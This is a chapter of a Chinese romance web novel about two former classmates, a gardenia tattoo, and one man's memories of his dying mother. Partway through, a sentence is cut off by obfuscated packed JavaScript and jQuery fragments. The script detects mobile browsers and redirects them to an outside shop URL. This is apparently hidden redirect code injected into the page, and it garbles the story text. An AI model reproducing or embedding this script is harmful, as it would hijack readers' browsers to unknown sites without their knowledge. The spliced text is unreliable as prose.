一顿饭吃完，餐馆外的雨还没停。关于死亡这样沉重的话题，却好像随着淅淅沥沥的雨声，轻了些许。
他们两人并肩站在餐馆外面等代驾过来，彼此侧过身都给自己点了根烟。雨幕带着水汽侵袭着过路人的衣袖，谌一礼看着路熙然无意间露出的手肘，又想起了自己不经意间，看到的那抹纹身。
谌一礼：“所以，你在胯骨那里的纹身是在那次手术之后纹的？”
路熙然顿了顿。
“在民宿里房间里看到的，你左胯那个位置，有纹身。”谌一礼说着，对自己想知道的事情，问得大大方方。
“是，”路熙然回答他，“能下床工作之后，在工作室画稿完，自己纹的。”
“纹的什么？”谌一礼问他，他吐出了一口烟雾，看向身边人，“方便说吗？”
“没什么不方便的，”路熙然回答着，他看着眼前的雨幕，回答得声音散在风里。
他说：“我纹的是一捧栀子花。”
-
栀子花。这种难养的花束，跟谌一礼有千丝万缕的联系。
比如高中时，他母亲徐嘉住院，床头摆着的就是一盆栀子花。
比如他那时候身上总带着栀子花的花香味。
再比如高考前几天的拍毕业照的时候，路熙然跑到他身边，给他手里塞了一大捧栀子花。
有时候，气味比事物更能带起人的记忆。
于路熙然而言，谌一礼是跟栀子花绑定在一起的。所以在出院后，他在那手术伤口处，曾经埋过钢钉的地方，纹了一捧栀子花。
带着一点点不为人知的念想。
可这点念想如今被摊在了明面上，放在了雨幕中，路熙然看见站在自己身边的谌一礼笑，他听见那人念叨着说：“原来路师傅以前这么想我？”
这句话路熙然没接，不好接，也不知道怎么接。
说是，很想，显得有点不正经。
说不是，不想，又显得虚情假意。
所以他沉默，失笑。他看着谌一礼那双狡黠的眼睛，灭了手里的烟，侧过头淡淡道：“谌总，别美了，代驾来了，走吧。”
两人重新上车，并肩坐在后座。多了一个人在的空间，两人谁都没说话，车内安静着，只能听见轮胎压过水洼的声音。
不久后，车辆停下。谌一礼看着不远处自己的小区，问他：“路师傅，要不要上楼坐坐？”
他是笑着问的，一双眉眼狡黠地看过来，得了路熙然的一抹笑。
路熙然说：“谌总，饶了我。”
谌一礼笑容更深了些，问他：“真不上去？”
路熙然看着他没说话。
“是嫌弃啊？”
路熙然失笑。
“还是瞧不上我？”
路熙然听着他越说越远，没招了，他诚恳告诉他。
他说：“谌总，不是时候。”
这四个字出来，该说明的都说明了。
不是对你嫌弃，也不是瞧不上你，是想进你家门，但现在不是时候。
路熙然总这样，说话很有分寸，心意也铺在了明面上。方才前不久的聊天聊得太深了，他喜欢跟谌一礼讲话时的那种氛围，也喜欢无论自己说什么，都能够理解意思的谌一礼。
所以他其实没办法保证，一会儿跟谌一礼进一间屋子自己什么都不做。起码现在，他觉得谌一礼只要勾勾手指，自己就会凑过去吻上他那双含着笑的眼睛。
“好吧。”谌一礼终于放过他，那人仍旧是笑着的，他说，“那我们等等时候。走了。”
于是谌一礼踏着月色下了车。路熙然没送，那人只坐在车里递给了谌一礼一把伞。谌一礼接过的瞬间，两人指尖相碰，带着点热意。
“路师傅慢走。”谌一礼开口说完，撑开伞钻入了雨幕里。
停泊着的越野车重新发车，谌一礼踏着初夏的雨雾回到了家。
有家政来收拾过，屋子里一切都像是崭新的。
旧衣物没有再堆在沙发，吃空了的外卖盒也已经消失不见，放在口袋里的手机响了，是他哥谌岁打来的电话，问他明天有没有时间接手一个新的宣传项目。
大概是心理原因，谌一礼无端在这个雨夜里溢出了一些说不清道不明的快乐。他欣然接受谌岁丢给他的工作，还有心思多问了几句他那位亲亲侄子谌桐的最新状况。
“自从在你朋友纹身室惹的那出后，一直很老实，也没到处瞎跑，”谌岁说着，没等谌一礼接话，又问他，“我听说，那家纹身店是你相亲对象开的？这次这个怎么样？能处吗？”
谌一礼失笑，“你怎么跟老爷子一样。”
“我是刚好想起来问问，你要不想说就算了，”谌岁说着，想起他儿子谌桐给他的反馈，又补了一句，“反正谌桐说人挺帅的，我到时候也可以自己去见见。”
“得了吧你，别没事找事。”谌一礼怼他。
兄弟两人话说到这儿，相互之间贫了几句嘴，挂了电话。
窗外的雨快停了，但阴云仍旧笼罩着月色。谌一礼慢步走到自家阳台边，想起路熙然身上的那抹纹身，垂眸看向摆在一旁的一盆栀子花。
那盆花是他妈妈徐嘉的，上次开，还是他高二那年。只开了几朵，被徐嘉零零散散地摘下，放在了病床前的花瓶里。
可后来这盆花就再没开过，独独只有叶子和根茎还活着，冒着股清脆的绿意。
谌一礼不会养花，栀子花又太娇，他侍弄不好。所以很长一段时间，这盆花都静静地摆在这儿，无人观赏，也无人在意。
仿佛它曾经从未开过。
谌一礼抬手将花盆从角落里搬了出来。
徐嘉当年是因为卵巢癌走的。那时谌一礼念高二，他请了假，一连三天，都守在母亲的病床前。
路熙然过来看他，给他带了学校外面那家店的鸡排，陪着他坐在医院的走廊上吃。
那天很安静，安静到如果硬是要回想，谌一礼只能零零散散想起那天医院外的雨。
雨水拍打窗棂，像是被人从天际之上倾盆倒出。
路熙然来时，衣角和裤袜都湿了，带着一身独属于夏季的闷热潮气。
谌一礼记得，那天那人在他耳边插科打诨说了很多话。
但他一句都没听进去，他嫌弃路熙然唠叨，说鸡排味道寡淡。说他真的实在吃不下了，硬是把东西塞进路熙然怀里，要那人离开。
可路熙然不走，他赖在病房，给他母亲床头的那瓶栀子花换水，又领着谌一礼在一边的一张小桌板上写作业。
他故意做错了很多最基础的数学题，被谌一礼狠狠一顿训。训到最后谌一礼挎着张脸，而路熙然一边笑一边冲他讨饶。
他说：“谌老师别生气，你大度，别跟我一般见识。”
那人说话时总带三分笑，他乐意惹谌一礼生气，也愿意哄人开心。
年少时的喜欢好像就是这样。希望对方的情绪因为自己变化，希望能把那些忧伤从心上人的心房里全部挤出去。
后来路熙然走了，他走之前看着病房窗户边的那盆栀子花，扯了扯谌一礼的手，他说：“谌一礼，你把那盆花好好养着。栀子花可以活很久，没准等你八十岁拄拐杖了，我还能推着轮椅过来偷花。”
这句话前言不搭后语，出现的也不合时宜。但谌一礼听了，在母亲走后，他把那盆花带回家。
而那年，是那盆栀子，最后一次开花。
好像所有的一切都结束在难以描摹的学生时代，青春萌动中，总会掺杂着仓皇的心跳和未曾言明的情欲。
哪怕后来这盆花难免被遗忘。因为在母亲死后，谌一礼再也未曾嗅到过栀子花香，仿佛只要花不在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248617|197039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，他就不会想起躺在病床上苟延残喘的母亲，也不会想起年少的冲动和莽撞。
可哪怕他忘了，却有人帮他记得。
帮他记得那段时间他身上的栀子花香，记得那年盛夏时的心跳，记得零零碎碎的一些东西，弄得人在这片刻间恍惚又感慨不已。
谌一礼的指腹无意识地摩挲着花盆边缘，初夏将停未停的雨顺着未关紧的窗户缝隙飘落，在瓷砖上砸出空茫的响，像是悄悄地扣在了谁的心扉上。
-
楚城的夏来了，来得突然又仓皇。气温几乎迅速升高，没跟任何人提前预警，打得人措手不及。
谌一礼那辆七座商务车后座的风衣、长袖还没来得及收捡，身上的衣服就已经在两天之内换成了夏装。
他又开始忙于工作，谌岁新交给他的任务是关于宣传向的内容，他的老本行，做起来比之前的民宿开业要得心应手得多。
但哪怕是这样，宣传方案、第三方衔接、营销会议，渐渐在桌面上堆积着的文件，开始让他又忙得焦头烂额。
关于路熙然的那点事，不知道被他扔在了哪个角落，他空没琢磨，也没想。
不过这要说起来也怪他。两人之间哪怕到现在也没加微信。路熙然至今在他的黑名单的躺着，没拖出来。
对这件事，谌一礼一是忘了，二是没在乎。
这个年代，想联系哪怕不靠微信能有很多手段，如果真正用心，断联什么的都是借口。
所以，当谌一礼在办公室里再次接到路熙然电话时，他并不惊讶。他从一团乱的文件里翻出手机，想也没想的按了接通。
“谌总。”那人的声音从电话里传来，好像自从在爬山之后，路熙然就喜欢上了这个称呼，跟以前高中喜欢喊谌老师一样。
起初，谌一礼拿着笔的手一顿，随后才出声问他：“路师傅，有事吗？”
对面那人听见这称呼只笑，过了半晌才像是半开玩笑地回了一句，“怕你说我追人不积极，所以跟你报备一下。”他说到这里顿了顿，“我最近有点忙，应急队那边要去滇南组织救援培训，要去十天，提前跟你说一声。”
谌一礼闻言，眼神从自己看着的文件上，滑落至手机屏幕，他看着显示的日期时间，出声问对面。
“路师傅，我们从爬山到现在，已经有一周了吧？一周都没联系，你追人是不是有点懈怠了？”
他这句话有点嘚瑟，也有点欠，但偏偏这股俏皮劲儿让路熙然不忍失笑。
他回他：“对不住，谌总，是我思想不积极，琢磨这么久才找到这么一个借口联系你，我反省。”
两人一来一回，一个抛梗，一个接。不说默契，起码两个都隔着电话笑了。
毕竟是不是真心懈怠不好说，是不是只有这一个借口也不一定。
成年人，没谁整天都有空情情爱爱。两人手上都有工作，都是正事，谌一礼愿意打趣，路熙然愿意接腔，这就够了。
谌一礼没想追究什么，他只隔着电话笑完，轻声问他：“所以你现在报备完了，还有什么事？没事我挂了。”
“没了，”路熙然说，“等我回来找你。”
他说到这里像是想起了什么，又补充了句，“我去滇南那边可能会给你寄点东西，你记得收。”
谌一礼：“行。”
窗外的日光刺眼，独属于楚城的夏季张牙舞爪地来临。隔着电话，谌一礼没问路熙然寄什么，也没问他寄哪，两人之间没聊近况，没假客套，甚至连一句再见都没有，便挂了电话。
路熙然没提微信的事儿，谌一礼也没想。彼此就这样各忙各的，直到两天后，助理赵晓云抱着一盒鲜花快递进了谌一礼的办公室。
隔着包装盒和透明胶带，谌一礼只闻味道，哪怕不凑近都知道那快递里面是什么。
是栀子花，鲜切的。